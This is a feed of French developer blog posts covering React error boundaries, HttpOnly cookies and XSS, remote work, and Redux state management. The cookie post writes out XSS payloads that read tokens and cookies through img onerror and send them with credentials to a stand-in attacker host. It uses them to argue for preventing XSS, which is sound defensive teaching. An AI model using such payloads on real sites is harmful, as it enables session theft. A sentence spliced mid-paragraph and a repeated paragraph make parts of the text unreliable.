DEV Community: Boris CERATII

REACT WHITE SCREEN OF DEATH : COMMENT EMPÊCHER SON UI DE PLANTER

Boris CERATII — Fri, 19 Mar 2021 08:40:34 +0000

Cet article a été, à l'origine, publié sur mon blog personnel : https://bce.im/blog/react-white-screen-of-death

Lorsque nous développons nos applications ou nos composants React, nous mettons en place des effets de bords qui peuvent causer des erreurs et lever des exceptions. Rien de plus normal en soit.

Ce qui est problématique, et ça nous arrive régulièrement, c'est de ne pas gérer ses erreurs. Et savez-vous ce qui se passe quand on lève une exception en JS sans la catcher ? Ça fait planter le script ! Et dans notre cas précis, le script étant l'application, c'est l'application entière qui plante et nous arrivons ainsi sur un écran blanc avant une belle erreur dans la console :

Résultat d'un plantage : le fameux White Screen

Dans cet article, je vais vous montrer l'origine du problème, et comment le résoudre.

Il faut cependant garder une chose à l'esprit, la gestion d'erreurs dans vos composants à l'aide d'erreur boundaries, ne fonctionne qu'avec les "class components". Mais pas d'inquiétude, nous verrons une autre solution d'intégration d'error boundaries dans des composants fonctionnels.

Dans chaque partie de cet article, je vous donnerai du code qui vous pourrez exécuter simplement :

décompressez l'archive et allez dans le répertoire créé ;
servez l'application à l'aide de serve.

En cas de besoin, je vous donnerez les commandes dans chaque partie de l'article.

Démonstration du problème

Récupération du code

Vous pouvez télécharger le code de cette partie ici. Voici quelques commandes qui pourraient vous être utiles :

unzip demo.zip
cd demo
serve -s build

Explication du code

Le code de cette démo est très simple, j'ai initialisé une application à l'aide de CRA. J'ai ensuite ajouté quelques fichiers :

>> src/App.js

import UserList from "./components/UserList";

function App() {
  return (
    <div>
      <h1>Welcome on the App</h1>

      <UserList />
    </div>
  );
}

export default App;

Rien de particulier : un titre ainsi qu'un composant qui rendra une liste d'utilisateurs.

>> src/components/UserList.js

import User from './User.js';

const users = [
  {
    id: 1,
    name: 'Boris',
    age: 32,
  },

  {
    id: 2,
    name: 'John',
    age: 28,
  },

  {
    id: 3,
    name: 'Marie',
    age: 29,
  },
];

export default function UserList() {
  return (
    <ul>
      {Object.values(users).map(function ({ id, ...userProps }) {
        return <User key={`user-${id}`} {...userProps} />;
      })}
    </ul>
  );
}

Dans ce composant, nous définissions de manière statique une liste d'utilisateurs que nous parcourons et affichons à l'aide d'un composant User.

>> src/components/User.js

export default function User({ name, age }) {
  if (parseInt(Math.random() * 10) % 2 === 0) {
    throw new Error('Oups!');
  }

  return <li>{`${name} is ${age}`}</li>;
}

Dans ce dernier composant, deux choses :

nous affichons les informations de l'utilisateur envoyé dans les props ;
nous levons une exception de manière aléatoire pour simuler une erreur inattendue.

Si vous servez cette application et l'affichez sur votre navigateur, vous allez voir alternativement une application fonctionnelle :

Application fonctionnelle

ou une application buguée :

Application buguée

Comme vous le voyez, lorsqu'une exception est levée, c'est toute l'application qui plante. Par exemple, lors du plantage, vous ne parvenez plus à voir le h1 qui est à l'intérieur du composant App. Alors même que le composant App n'a pas planté (c'est un de ses composants enfant qui est en erreur).

Dans ce cas, ce que nous aimerions, c'est continuer à voir toute notre application et afficher un fallback à la place du composant en erreur.

Quel est notre composant qui pose le soucis ici ? C'est le composant User. Notre composant de gestion d'erreur sera UserList. Ainsi, si un User plante, c'est tout le UserList qui affichera une fallback. Rendez-vous dans la dernière partie de l'article pour comprendre où placer notre gestion d'erreur.

La solution : catcher les erreurs

Comment pourrions-nous faire pour que ce ne soit pas toute l'application qui soit en erreur, mais uniquement la partie concernée ? En catchant l'erreur !

Je suis sûr que vous le faîte déjà de manière générale ! Que ce soit en JavaScript, PHP, Python, etc... Vous avez l'habitude de gérer vos exceptions à l'aide de try...catch. Eh bien, React vous donne la possibilité de le faire à l'aide d'une fonctionnalité qu'on appelle les errors boundaries. N'hésitez pas à aller faire un tour sur la documentation officielle pour comprendre en détail leur fonctionnement.

Comme je vous le disais plus tôt, les error boundaries ne fonctionnent qu'avec des "class components". React n'est pas en mesure de gérer vos exceptions dans des composants fonctionnels.

Un composant devient un error boundary quand il implémente soit la méthode statique getDerivedStateFromError ou la méthode componentDidCatch :

getDerivedStateFromError : cette méthode devra retourner la partie du state à merger dans le state du composant lorsqu'une erreur intervient ;
componentDidCatch : cette méthode est généralement utilisée pour gérer les effets de bord liés à une erreur (log des erreurs par exemple).

Vous pouvez, bien sûr, gérer votre state dans la méthode componentDidCatch en utilisant setState, mais je pense qu'il est intéressant de séparer la gestion du state des potentiels effets de bord que vous pourriez introduire. Et puis la méthode getDerivedStateFromError est là pour ça !

Notez bien ce qui est indiqué sur la documentation : toutes les erreurs ne peuvent pas être catchées par les error boundaries. Ces erreurs ne le seront pas :

celles levées dans les gestionnaires d’événements ;
celles levées dans le code asynchrone (comme le setTimeout)
celles levées dans les rendus coté serveur ;
celles levées dans le composant qui est lui-même l'error boundary.

Voyons comment en créer un justement !

À l'aide d'une classe

Vous pouvez télécharger le code de cette partie ici. Comme tout à l'heure, voici quelques commandes qui pourraient vous être utiles :

unzip error-boundary-class.zip
cd error-boundary-class
serve -s build

Dans cette nouvelle partie du code, le seul composant qui a changé est le composant UserList. J'y ai ajouté les deux méthodes getDerivedStateFromError et componentDidCatch. C'est ce qui définis ce composant comme étant un error boundary.

>> src/components/UserList.js

/*
  ...
*/
export default class UserList extends Component {
  state = {
    hasError: false,
  };

  static getDerivedStateFromError(error) {
    return {
      hasError: true,
    };
  }

  componentDidCatch(error, info) {
    console.log(error, info);
  }

  render() {
    const { hasError } = this.state;
    if (hasError) {
      return (
        <strong>
          Oups, an error occured!{" "}
          <button onClick={() => this.setState({ hasError: false })}>
            Try again
          </button>
        </strong>
      );
    }

    return (
      <ul>
        {Object.values(users).map(function ({ id, ...userProps }) {
          return <User key={`user-${id}`} {...userProps} />;
        })}
      </ul>
    );
  }
}

Comment ça marche ? Lorsqu'une exception est catchée, ces deux méthodes sont appelées. Avec une différence cependant : getDerivedStateFromError est appelée pendant la phase de rendu. Les effets de bord sont donc, à ce moment-là, interdits. Si vous avez besoin d'introduire des effets de bord, utilisez la méthode componentDidCatch.

Dans le code ci-dessus, lorsqu'une erreur est interceptée par l'error boundary, je définis une entrée dans le state pour l'indiquer et ainsi afficher un message d'erreur avec un bouton pour tenter à nouveau l'action qui a échoué. Les deux méthodes reçoivent en premier paramètre l'erreur interceptée, de telle sorte à ce que vous puissiez vous en servir en cas de besoin. componentDidCatch, quant à elle, reçoit aussi des informations supplémentaires comme par exemple la stack trace de l'erreur (pratique pour la logguer par exemple).

Dans les composants fonctionnels

Comme je le disais plus tôt, seules les "class component" sont en mesure de définir les méthodes getDerivedStateFromError et componentDidCatch. Les composants fonctionnels ne peuvent pas être transformés en error boundary. C'est un fait : vous voulez créer un error boundary ? Créez une classe, you don't have a choice !

Comment faire si, depuis la création des hooks, vous refusez de créer vos composants avec des classes ? Pas moyen de vous faire changer d'avis, plus jamais des classes !

Répète après moi : "Je ne ferai plus de class component"

Pour palier ce souci, et rendre notre gestion d'erreur plus facilement réutilisable, vous pouvez utiliser une librairie React : react-error-boundary. Elle se chargera de créer la classe pour vous et mettra à votre disposition une API d'utilisation plutôt sympa et pratique. N'hésitez pas à lire sa documentation. Cette librairie vous permettra par exemple :

de définir une composant de fallback en cas d'erreur ;
d'avoir un handler d'erreur (pour loguer votre erreur par exemple)
de pouvoir reset le state interne de l'error boundary pour proposer un "try again" à vos utilisateurs.

Où placer notre gestion d'erreurs ?

Il nous reste un dernier point à voir. Regarder notre UserList. Il parcourt une liste d'utilisateurs et pour chacun d'eux, render un composant User. C'est ce composant qui va, de temps en temps, planter. Dans l'état actuel du code, si l'un seulement des trois User plante, c'est tout le composant UserList qui est remplacé par le fallback d'erreur. Pas très pratique non ?

Je vous rappelle que l'error boundary ne peut pas être le composant User lui-même puisqu'ils ne sont pas capables de catcher leurs propres erreurs. La solution serait d'avoir un code qui ressemblerait à ceci (pour UserList) :

render() {
  return (
    <ul>
      {Object.values(users).map(function ({ id, ...userProps }) {
        return (
          <ErrorBoundary
            FallbackComponent={ErrorFallback}
            onReset={() => {/*do something*/}}
            resetKeys={[partOfState]}
          >
            <User key={`user-${id}`} {...userProps} />
          </ErrorBoundary>
        );
      })}
    </ul>
  );
}

Dans ce code, j'utiliserais donc react-error-boundary pour encadrer uniquement les composants qui seraient capables de déclencher des erreurs.

C'est à vous de voir où doit se situer votre gestion d'erreur. Je vous conseille d'en mettre à plusieurs endroits dans votre code là où des erreurs sont susceptibles d'être levées.

Vous pouvez mettre une gestion d'erreur en haut de votre arbre de composants. Pour afficher un message d'erreur si une exception n'est jamais catchée. Ça empêchera une page blanche et à la place,Et je vais sûrement poser quelques jours par ci par là en attendant le congé parental qui commence en juin
'est toujours mieux qu'une page blanche. Et puis si vous intégrer vos error boundaries aux bons endroits, aucune exception n'arrivera jusqu'à App.

Les cookies HttpOnly, une sécurité pour vos tokens ?

Boris CERATII — Mon, 27 Jul 2020 07:09:30 +0000

Cet article a été, à l'origine, publié sur mon blog personnel : https://boris-cerati.fr/blog/http-only-xss-attacks

Il m'arrive souvent de devoir développer des applications qui possèdent d'une part un backend, généralement développé avec le framework Symfony, et d'autre part un frontend (React par exemple). Souvent, ce qui est fait, c'est que le front sauvegarde un token d'authentification soit dans le localStorage, soit dans les cookies afin de le transmettre au backend et authentifier l'utilisateur.

Très bien, mais il y a des soucis dans cette manière de faire :

le localStorage est vulnérable aux attaques XSS ;
les cookies sont également vulnérables aux attaques XSS.

En effet, les données sauvegardées en localStorage ou dans les cookies sont accessibles par du code JS malveillant qui aurait été injecté dans votre page au travers d'une faille XSS.

Comment s'en prémunir ? Peut-être pouvons-nous penser aux cookies avec le flag HttpOnly ?

Voyons pourquoi cette solution n'est pas la bonne et que la meilleure solution pour protéger votre application est d'évter les failles XSS, tout simplement.

Que sont les cookies HttpOnly

Aujourd'hui, les cookies sont présents partout sur nos applications. En effet, ils permettent, coté client, de stocker un état, comme la session d'un utilisateur. Vous voyez la fonctionnalité "Se souvenir de moi" sur de nombreueses applications ? Un cookie se cache par là ! Et les informations que contiennent les cookies sont souvent sensibles, il faut donc les protéger contre les tentatives de piratage !

Les cookies, essentiels pour stocker des informations sensible coté client

Les cookies sont stockés coté client sur la demande de votre backend. Pour cela, le backend vous envoie un header dans la réponse nommé Set-Cookie qui contient, entre autres, le nom et la valeur du cookie. Voyez la documentation sur le MDN.

Dans cet en-tête Set-Cookie deux informations sont importantes :

Secure : les cookies portant le flag Secure ne sont envoyés que si la requête est https ;
HttpOnly : empêche du code JS d'accéder aux cookies portant cette notion de HttpOnly.

Un cookie déclaré comme étant HttpOnly n'est donc pas accessible via du code JS. Si vous faîtes un document.cookie vous ne les verrez pas. Ainsi, si vous avez une faille XSS qui autorise une personne malveillante à injecter du code JS dans vos pages, elle n'aura pas accès à ces cookies.

Voyons la liste des cookies retournés par un document.cookie sur ma console Chrome à partir du site de Twitter :

Liste des cookies sur mon twitter

Et maintenant, regardez la liste complète de mes cookies sur le domaine de Twitter :

Liste des cookies sur mon twitter

Comme vous pouvez le voir, les cookies HttpOnly n'apparaissent pas dans un docuemnt.cookie.

De manière générale, toutes les informations sensibles doivent être dans des cookies HttpOnly. Mais est-ce suffisant ? Voyons ça avec plusieurs solutions pour stocker les informations sensibles :

dans le localStorage ;
dans des cookies ;
dans des cookies HttpOnly.

Le code pour suivre cet article

Voici le code que je vais utiliser dans la suite de l'article. Il vous permettra de tester chacunes des solutions ci-dessous.

Pour chaque code téléchargé, vous aurez un dossier comprenant le partie backend et la partie frontend.

le backend : contenant le code du backend. Il est développé de manière très simple avec NodeJS et avec des faux tokens, non cryptés. Ce n'est que pour l'exemple, bien sûr ;
le frontend : un simple front avec une page ndex.htmlet un fichier app.js permettant au clic sur un bouton de se connecter (le backend est appelé et renvoie un token stocké soit dans le localStorage soit dans un cookie) et au clic sur un autre bouton d'ajouter un commentaire avec une faille XSS.

Vous pouvez démarrer le projet en exécutant, les commandes suivantes :



npm ci
node app.js

Puis allez sur http://127.0.0.1:3000.

Utilisons le localStorage

Une fois que le projet est démarré, vous devriez avoir une page qui ressemble à ça :

Démarrage du projet

Avant tout, cliquez sur "Connexion". À ce moment-là, un appel au backend est fait et ce dernier nous renvoie un token que l'on peut stocker dans le localStorage :



window.localStorage.setItem('token', token);

Ensuite, entrez un commentaire puis envoyez-le au backend. Il vous le renverra et le front pourra ensuite l'ajouter au DOM. Entrez par exemple "Un exemple de commentaire.". Vous le verrez apparaître.

Aujourd'hui, les principaux navigateurs nous empêchent d'exécuter des balises <script> ajoutées dynamiquement au DOM. Pour prévenir les attaques XSS justement. Mais il y a une parade bien connue, les images ! Entrez donc ce commentaire :



<img src="http://fake-image.org/fake.png" onerror="alert(window.localStorage.getItem('token'));">

Voyez ce qui se passe :

Faille XSS, apparition du token

Hum, pas génial. Ici, nous affichons simplement le token. Bien sûr, dans la réalité, une personne malintentionnée l'enverra sur son propre backend et aura ainsi vos accès.

Utilisons les cookies (sans HttpOnly)

Plutôt que de stocker dans le localStorage, voyons pour le stocker dans les cookies (sans l'option HttpOnly). Le process reste le même, nous cliquons sur "Connexion", cela fera un appel au backend qui ajoute un header Set-Cookie pour dire au client de créer un cookie. Voici le code fait dans le backend :



  res.cookie('token', 'my-secret-token', { maxAge: 900000 });

Le cookie apparaît dans le client :

Le cookie apparaît dans le client

Ajoutons un commentaire mal-intentionné :



<img src="http://fake-image.org/fake.png" onerror="alert(document.cookie);">

Eh mince, le cookie peut aussi être piraté part une faille XSS.

Bon, on a pas trop le choix, on va essayer de sécuriser tout ça avec un cookie HttpOnly.

Voici le résultat :

Le cookie apparaît en clair dans le client

Mince, le cookie peut aussi être piraté part une faille XSS.

Bon, on n'a pas trop le choix, on va essayer de sécuriser tout ça avec un cookie HttpOnly.

Utilisons les cookies (avec HttpOnly)

Cette fois-ci, je compte bien faire en sorte que mon token reste secret ! Faisons en sorte que notre cookie ait le flag HttpOnly. Au moins nous serons sûr qu'aucun code JS n'y aura accès du coté du client !

Il n'y a vraiment pas grand chose à changer pour transformer notre cookie en cookie HttpOnly. Voyez la ligne que je modifie dans le code du backend :



  res.cookie('token', 'my-secret-token', { maxAge: 900000, httpOnly: true });

Nous récupérons bien notre cookie HttpOnly, la preuve :

Le cookie est protégé contre les accès coté client

Ajoutons le même commentaire mal-intentionné que tout à l'heure :



<img src="http://fake-image.org/fake.png" onerror="alert(document.cookie);">

Le client ne peut pas voir les cookies

Yeah, malgré la faille XSS sur mon application, le client ne peut pas lire les cookies avec du JS et le hacker ne pourra pas voler mes informations !

Bon, du coup, HttpOnly est une bonne solution ? Pas si vite, essayons de contourner ça !

Contourner les cookies HttpOnly

Les essais qui vont suivre ont été faits sur la même base de code que ci-dessus, avec les cookies HttpOnly.

Les cookies se trouvent du coté du client et sont transmis automatiquement au backend si je fais un appel Ajax, voyons cela en ajoutons un commentaire qui fera un appel Ajax :



<img src="http://fake-image.org/fake.png" onerror="fetch('/fake');">

Les cookies sont transmis au backend

Bon, le backend dans ce cas, est le mien. Je sais ce que je fais dans le back pas de soucis, le pirate n'a toujours pas mon cookie. Mais s'il fait un appel Ajax à son backend à lui ? Voyons cela :



<img src="http://fake-image.org/fake.png" onerror="fetch('http://127.0.0.1:4500');">

Les cookies ne lui sont pas transmis !

Ouf, les cookies ne lui sont pas transmis.

Mais attendez ! Il existe une parade ! Regardez



<img src="https://fake-image.org/fake.png" onerror="fetch('http://127.0.0.1:4500', { credentials: 'include' });">

Les cookies sont transmis au hacker !

Voilà, en ajoutant l'option credentials: 'include' à fetch il transmet les cookies dans les headers de la requête Http. Le pirate a réussi à récupérer nos informations.

Conclusion

Comme nous venons de le voir, mettre ses informations sécrètes dans le localStorage, dans les cookies ou dans les cookies possédant le flag HttpOnly ne nous garanti pas une sécurité optimale. Aucune de ces solutions ne pourra empêcher un hacker d'exploiter une faille XSS et de mettre la main sur vos informations secrètes.

La seule solution afin de sécuriser vos données et de ne pas avoir de faille XSS. Aussi simple que cela. :)

Le télétravail en confinement ? Et après ?

Boris CERATII — Tue, 30 Jun 2020 10:54:25 +0000

Cet article a été, à l'origine, publié sur mon blog personnel : https://boris-cerati.fr/blog/remote-working-covid

La période que nous avons vécue ces derniers mois et qui, malheureusement, n'est sans doute pas terminée aura bousculé beaucoup de nos habitudes. Je vais ici parler de ce qui a été pour moi le plus changeant, à savoir le télétravail à temps plein.

Historique

Avant de vous parler de cette situation de full télétravail, d'abord un petit historique. Je suis développeur Web professionnel depuis mai 2013. J'ai commencé à travailler au Luxembourg en habitant à Metz en Moselle. J'allais donc en voiture au travail en faisant du covoiturage avec mes collègues. Je partais le matin à 06h40 pour arriver au travail, au mieux, à 08h00. Le soir, nous partions à 17h00 pour arriver chez moi, au mieux, vers 18h45. Le calcul n'est pas bien compliqué, ça fait 3h passées sur les routes, dans les bouchons.

Le matin quand j'arrive au travail après 1h30 de route

Ensuite, depuis 2017, je travaille dans une entreprise à Metz en habitant à Verdun. 78km par trajet, je pars le matin à 07h40 pour arriver à 09h00. Le soir, je pars à 17h00 pour arriver à 18h30. Encore une fois, le calcul est rapide, 2h50 sur les routes. L'avantage est que je n'ai plus beaucoup de bouchons sur mon trajet.

Le télétravail ? Pas si nouveau que ça !

Le télétravail n'est pas si nouveau que ça me concernant. Quand je travaillais au Luxembourg, nous avions une journée (le vendredi) où toute l'entreprise, était en télétravail. C'était vraiment appréciable. Le vendredi, la fin de semaine arrive, la fatigue aussi. À 17h, fin de la semaine et pas de trajet à faire pour rentrer et profiter de son week-end. C'était vraiment appréciable.

Je travaille désormais à Metz et le télétravail à continué. J'avais une journée par semaine de télétravail puis deux jours. Même si je ne prenais pas forcément deux jours par semaine, les fois où je respectais ce rythme, je remarquais que j'étais moins fatigué, de meilleure humeur le soir également. Que des bienfaits, me concernant. Je suis ensuite repassé à une journée par semaine. C'est très appréciable, mais la fatigue se fait ressentir, et le budget aussi d'ailleurs. Comptez 13 euros d'économiser par jour de déplacement (sans compter les frais d'entretien bien sûr).

Ça fait donc 7 ans que je passe beaucoup de temps dans la voiture. Si le covoiturage lors des trajets vers le Luxembourg était vraiment intéressant, il permettait de décompresser le soir avec les collègues (aussi développeuses et développeurs) et de rigoler. Le trajet n'en restait pas moins fatiguant.

Télétravail et confinement

Depuis mars 2020, et suite à la crise du coronavirus toute l'entreprise dans laquelle je travaille s'est mise au télétravail forcé. Certains de mes collègues n'avaient jamais pratiqué le télétravail d'autres en avaient l'habitude. Comme je vous le disais, j'en avais l'habitude. Cependant, passer d'une journée par semaine à 5 jours par semaine n'a pas été aussi facile que ça.

En dehors de cette situation de crise, j'aime bien discuter avec mes collègues, aider les développeurs dans leurs problèmes (et directement sur leur machine), et qu'ils m'aident à leur tour sur les miens. J'aime bien aller manger avec eux à midi, boire une bière le soir au bar de temps en temps. Bref, avoir une vie de salarié normal.

Après, il faut dire que les outils d'aujourd'hui nous permettent un maximum de rester connecter aux autres, de se voir, de travailler ensemble comme si nous étions dans le même bureau. Cela m'a permis de garder le contact avec mes collègues, de les voir tous les jours, etc.

Même si je ne vis pas seul, et ça a été une chance pendant ce confinement, cette période a été aussi difficile pour moi, car je travaillais tous les jours de la maison sans ne voir personne d'autre. Ni collègues, ni amis et ni famille. Je pense que c'est ce qui a été le plus difficile, ne voir personne en dehors d'une webcam. Un exemple simple, mais même les courses hebdomadaires devaient être faites seul et non à deux. Bref tout a été fait, à juste titre, pour isoler les personnes.

Depuis le 11 mai, la France n'est plus confinée strictement. Nous avons tout de même continué le télétravail jusqu'en fin juin. Au début de la période de télétravail, je me posais la question suivante : "est-ce que le full remote, c'est vraiment fait pour moi ?". C'est vrai que la réponse n'était pas évidente, la période était particulièrement difficile et les conditions n'étaient pas les conditions habituelles de télétravail : elles étaient nettement plus restrictives. Depuis la fin du confinement, je peux ressortir, voir ma famille, etc. Tout en continuant mon activité de la maison, c'est vraiment agréable. Mais il faut savoir se mettre des règles.

Mon organisation en télétravail

Quand je télé-travaillais, bien avant le confinement, c'était simple : je me levais à 8h45 pour commencer à 09h00. Je travaillais jusqu'à midi, déjeunais et reprenais vers 13h jusqu'à 17h. Ça fonctionnait bien. Cependant, je me suis dit que faire ça pendant plusieurs semaines (nous ne savions pas combien de temps cela allait durer.) me rendrait fou. J'ai donc décidé de me mettre des règles.

Règle numéro 1 : débout plus tôt !

La première règle a été de me réveiller plus tôt que 8h45. Je mettais le réveil à 7h30 afin de me réveiller pour autre chose que le travail. J'en profitais pour prendre mon petit-déjeuner à l'écart du PC. Ensuite, j'en profitais pour faire d'autres choses comme le ménage, la vaisselle, lire un peu, etc. Le but était vraiment de commencer la journée tranquillement sans la pression du travail. Ça me faisait tout de même lever plus tard qu'une journée habituelle avec le trajet.

Un réveil en douceur pour bien commencer la journée

Règle numéro 2 : pas d'heures sup tant que possible

Pendant toute la durée de télétravail, j'ai fait très peu d'heures supplémentaires les soirs. Il fallait que je me mette cette règle pour arrêter de travailler à un horaire précis et que je puisse penser à autre chose que le travail une fois la journée terminée.

Règle numéro 3 : plus de PC après 17h

D'habitude, quand je rentre du travail, je mange et je retourne sur le PC. J'avais la route qui me permettait, tout de même un peu, de décrocher du numérique entre ma journée de travail et mon arrivée chez moi. Il n'était pas question de faire la même chose alors que je n'avais plus le trajet qui me permettait de couper un peu. Ainsi, tous les soirs, je coupais mon PC à 17h et je faisais autre chose. J'en ai profité pour ranger ma cave (qui était vraiment bordélique), pour bricoler, pour lire, pour beaucoup promener mon chien en forêt (oui, nous n'avions pas le droit, mais habitant à la campagne et ayant une forêt immense, je ne croisais personne).

Beaucoup de personnes se sont mises au sport pendant ce confinement. Ça n'a pas été mon cas. :D

J'ai la chance de ne pas habiter seul, d'avoir une maison avec un jardin, d'avoir une forêt à 200 mètres, d'avoir continué à travailler 35h/semaine et, surtout, de ne pas avoir de cas grave dans mon entourage. Le confinement a donc été pour moi une période facile à vivre, je ne m'en plains pas.

Après 17h, on éteint le PC !

Quid du futur ?

La question se pose. Comment, avec l'expérience acquise ces dernières années et ce qui s'est passé ces derniers mois, continuer dans les mêmes conditions ?

Avant le confinement, j'attendais avec impatience mon jour de télétravail. Ça rimait avec moins de fatigue, plus de souplesse, etc. Aujourd'hui après avoir connu 5 jours de télétravail par semaine sans que cela m'ait réellement pesé, je me pose la question de savoir si continuer avec le rythme tel qu'il était avant le confinement est possible ? La réponse est sans doute que non. Sous quelle forme, je ne sais pas. Salarié ? Freelance ? Autre ? À voir.

Un petit calcul pour terminer :

nous travaillons 52 semaines et nous avons 5 semaines de congés = 47 semaines/an ;
on a environ 10 jours fériés ouvrés, on travaille donc 45 semaines/an ;
depuis 2013 que je travaille, j'ai 1j / semaine de télétravail ;
45 * 4 jours travaillés = 180 jours ;
78km / trajet = 78 * 2 * 180 = 28 000km pour le travail ;
2h50 (au mieux) de trajet par jour = 180 * 2h50 = 510h = 21 jours.

La conclusion est sans appel : 21 jours par an passés dans la voiture, et 28 000 km parcourus. Cela représente aussi 1 révision par an juste uniquement le travail ainsi que 1900 euros d'essence (1.4€/litre à 5L/100). Malheureusement (ou heureusement), il n'existe aucun calcul pour vérifier l'impact sur la santé et le sommeil...

Freelance ? Salarié en télétravail ? Salarié sans télétravail ? Quel dilemme !

Gestion de son state avec React

Boris CERATII — Fri, 01 May 2020 14:12:25 +0000

Cet article a été, à l'origine, publié sur mon blog personnel : https://boris-cerati.fr/blog/managing-react-state

Dans cet article nous allons voir trois manières de gérer le state d'une application React. Chacune de ces techniques peut être utilisée dans toute sorte d'application, quelle que soit sa taille. Nous allons cependant voir que chaque technique a ses avantages et ses inconvénients en fonction de la taille et de la complexité de votre application.

Avec le state local

La manière la plus simple de gérer l'état de son application est d'utiliser le state local. Que ce soit à l'aide de la méthode setState dans une classe ou à l'aide des hooks dans les composants fonctionnel ça ne change pas grand chose.

Voici un exemple d'application gérant une liste d'utilisateurs. Elle est très simpliste et part d'un create-react-app :

npx create-react-app users
cd users
npm start

App.js

// src/App.js
import React from 'react';
import Users from './components/users/Users.js';

function App() {
  return <Users />;
}

export default App;

Users.js

Ce composant affiche une liste d'utilisateurs à partir d'un tableau :

// src/components/Users.js
import React, { useEffect, useState } from 'react';
import User from './User.js';

function Users() {
  const [users, setUsers] = useState(null);
  useEffect(function () {
    // retrieve users from an API...
    const users = [
      {
        id: 1,
        fullName: 'Iron Man',
        age: 50,
      },

      {
        id: 2,
        fullName: 'Spider Man',
        age: 25,
      },
    ];

    setUsers(users);
  }, []);

  if (!users) {
    return null;
  }

  return Object.values(users).map(function (user) {
    return (
      <User
        key={user.id}
        user={user}
        addOneYear={function (user) {
          users.forEach(function (u) {
            if (u.id === user.id) {
              u.age++;
            }
          });

          setUsers([...users]);
        }}
      />
    );
  });
}

export default Users;

User.js

Ce composant, quant à lui, s'occupe de l'affichage d'un seul utilisateur :

// src/components/User.js
import React from 'react';
import UserBody from './UserBody.js';

function User({ user, addOneYear }) {
  return (
    <div>
      <h1>{user.fullName}</h1>

      <UserBody user={user} addOneYear={addOneYear} />
    </div>
  );
}

export default User;

UserBody.js

Ce dernier composant s'occupe de l'affichage des informations d'un utilisateur. S'il y a des actions (modifier, supprimer), c'est dans ce composant que je les ajouterais.

// src/components/UserBody.js
import React from 'react';

function UserBody({ user, addOneYear }) {
  return (
    <>
      <p>Ce personnage a {user.age} ans !</p>

      <button onClick={(e) => addOneYear(user)}>
        Augmenter son age d'un an
      </button>
    </>
  );
}

export default UserBody;

Cet arbre de composant est assez simple : App qui initialise Users afin d'afficher une liste de User qui à son tour affiche, avec UserBody, la liste des informations de l'utilisateur. Nous avons donc 4 niveaux. Rien d'extraordinaire.

Comme vous pouvez le voir, dans UserBody nous souhaitons modifier l'âge d'un utilisateur. Comme les utilisateurs sont stockés dans le state de Users, nous devons ainsi passer la fonction capable de modifier le state dans tout l'arbre de composants, c'est-à-dire dans User ainsi que dans UserBody. Vous voyez le problème ?

Dans ce cas c'est assez simple, nous ne gérons que les utilisateurs ici et l'arbre de composants n'est pas complexe. Mais si le nombre de composants augmente ou que vous rajoutiez des actions possibles, alors ça devient contraignant.

Heureusement pour cela il y a Redux !

Avec Redux

C'est certainement une des techniques les plus utilisées pour la manipulation du state d'une application qui doit gérer beaucoup de données et d'actions sur ces dernières. Cette bibliotèque, créée en 2015 par Dan Abramov et Andrew Clark n'est cependant pas destinée uniquement à l'écosystème React. La grande majorité des utilisations de Redux est faîte avec React mais cette librairie peut aussi être utilisée sur Angular ou Vue.js.

Pour avoir utilisé Redux sur pas mal de projets, je peux affirmer que cette technique du gestion du state est vraiment pratique et puissante. Un inconvénient cependant, Redux n'est, de prime abord, pas si simple à prendre en main. Il y a une courbe d'apprentissage nécessaire avant de savoir s'en servir correctement. Une fois bien maîtrisée, ça s'avère vraiment simple et efficace.

Traduisons l'exemple précédent avec Redux.

Dans un premier temps installons le nécessaire :

npm install --save redux react-redux

Enfin, réécrivons nos composants :

App.js

// App.js
import React from 'react';
import { Provider } from 'react-redux';
import { createStore, combineReducers } from 'redux';

import Users from './components/users/Users.js';

const initialUsers = [
  /* .... */
];

const reducers = combineReducers({
  users: function (state = initialUsers, action) {
    switch (action.type) {
      case 'ADD_ONE_YEAR_TO_USER':
        state = Object.values(state).map(function (u) {
          if (u.id === action.payload.id) {
            return action.payload;
          }

          return u;
        });

        return [...state];

      default:
        return state;
    }
  },
});

function App() {
  return (
    <Provider store={createStore(reducers)}>
      <Users />
    </Provider>
  );
}

export default App;

Notre state global est sauvegardé dans la props store du composant Provider.

Voyons le reste.

Users.js

// components/users/Users.js
import React from 'react';
import User from './User';
import { connect } from 'react-redux';

function Users({ users }) {
  if (!users) {
    return null;
  }

  return Object.values(users).map(function (user) {
    return <User key={user.id} user={user} />;
  });
}

function mapStateToProps(state) {
  return {
    users: state.users,
  };
}
export default connect(mapStateToProps)(Users);

Comme vous pouvez le voir, la méthode addOneYear n'est plus passée via les props au composant User. Notez aussi la fonction mapStateToProps qui permet de récupérer un ou plusieurs morceaux du state global. Dans le cas précis nous ne récupérons que les utilisateurs qui sont gérés via le reducer écrit dans le fichier App.js.

Redardons maintenant le composant User.

User.js

// components/users/User.js
import React from 'react';
import UserBody from './UserBody.js';

function User({ user }) {
  return (
    <div>
      <h1>{user.fullName}</h1>

      <UserBody user={user} />
    </div>
  );
}

export default User;

Plutôt simple, n'est-ce pas ?

UserBody.js

// components/users/UserBody.js
import React from 'react';
import { connect } from 'react-redux';

import addOneYear from '../../actions/users/addOneYear.js';

function UserBody({ user, addOneYear }) {
  return (
    <>
      <p>Ce personnage a {user.age} ans !</p>

      <button onClick={(e) => addOneYear(user)}>
        Augmenter son age d'un an
      </button>
    </>
  );
}

function mapDispatchToProps(dispatch) {
  return {
    addOneYear: (user) => dispatch(addOneYear(user)),
  };
}

export default connect(undefined, mapDispatchToProps)(UserBody);

Comme vous pouvez le voir, nous retrouvons bien notre fonction addOneYear. Cependant cette fonction est un peu différente de ce que nous avions plus tôt. Dans ce cas elle permet de dispatcher une action Redux qui pourra ensuite être comprise par un (ou plusieurs) de vos reducers. Quand, dans mon événement, je vais appeler la fonction addOneYear, je vais devoir lui passer mon utilisateur, ensuite cette fonction "dispatch" dans redux le résultat renvoyé par notre action. Voyons voir ce qu'elle contient.

addOneYear.js

// reducers/users/addOneYear.js
function addOneYear(user) {
  return {
    type: 'ADD_ONE_YEAR_TO_USER',
    payload: {
      ...user,
      age: user.age + 1,
    },
  };
}

export default addOneYear;

La fonction est très simple, elle renvoie un objet avec les deux clés type et payload (c'est une convention, rien d'obligatoire). Vous l'aurez noté, il y a, à un moment, un matching qui se fait entre le type renvoyé dans nos actions et celui utilisé dans nos reducers (ADD_ONE_YEAR_TO_USER).

